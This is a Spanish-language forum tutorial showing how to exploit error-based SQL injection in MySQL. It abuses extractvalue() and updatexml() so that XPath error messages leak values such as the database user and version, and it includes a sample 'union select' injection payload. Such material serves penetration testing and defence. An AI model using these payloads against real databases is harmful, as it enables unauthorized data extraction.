MYSQLI EB con extractvalue()Quien conozca de inyecciones sabe bien que para explotar una
Mysqli error based es necesario utitlizar las funciones floor() y rand() .

Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar ademas de ser un vector corto y eficaz.
Leyendo el blog de
Dmitry Evteev en una entrada que habia publicado en el 2009 (bastante viejita ya), encontre una forma de explotar un error based de una manera que llamo poderosamente mi atencion.
La funcion
extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena:
<b>q3rv0</b>
Si quieramos extraer la palabra q3rv0 lo realizariamos de la siguiente manera.
mysql> select extractvalue('<b>q3rv0</b>', '/b');
+------------------------------------+
| extractvalue('<b>q3rv0</b>', '/b') |
+------------------------------------+
| q3rv0 |
+------------------------------------+
1 row in set (0.00 sec)
mysql>
La manera de aprovechar esta funcion para que nos devuelva informacion es obligarla a realizar un error de sintaxis.
Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.
mysql> select extractvalue('<b>q3rv0</b>', user());
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
Como vemos nos arroja el error, ademas del usuarios en la db.
El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.
mysql> select extractvalue('<b>q3rv0</b>', concat(0x7e, user()));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
Como podemos llevarla acabo mediante una inyeccion?
De la siguiente manera.
Los enlaces son solo para miembros.
Registrate o
iniciá sesión union select extractvalue(1, concat(0x7e, version()))--

Mysqli EB con updatexml()Para este tipo de metodo utilizaremos la funcion llamada updatexml(), los creditos se los lleva
Arthusu por la info.
Dicha funcion sirve para actualizar un elemento xml por otro.
Tenemos el siguiente codigo.
<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>
La sintaxis de updatexml() es la siguiente:
updatexml('cadena', 'xpath_expr', 'cadena actualizada')
Entonces si quisieramos actualizar la porcion de codigo
<h1>underc0de</h1> y cambiarlo por
<h1>underc0de Rulz</h1> lo hariamos de la siguiente manera.
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>');
+--------------------------------------------------------------------------------------------------------------+
| updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>','/h1', '<h1>Underc0de Rulz</h1>') |
+--------------------------------------------------------------------------------------------------------------+
| <b>jlkjslakjslka</b><h1>Underc0de Rulz</h1><i>kjaslkjalskjlaksj</i> |
+--------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
mysql>
Entonces para generar un error en la funcion podemos reemplazar el xpath_expr por nuestra consulta deseada.
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',user(), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql>
Concatenamos y obtenemos el resultado completo.
mysql> select updatexml('<b>jlkjslakjslka</b><h1>underc0de</h1><i>kjaslkjalskjlaksj</i>',concat(0x7e, user()), '<h1>Underc0de Rulz</h1>');
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'
mysql>
Referencia: Los enlaces son solo para miembros.
Registrate o
iniciá sesión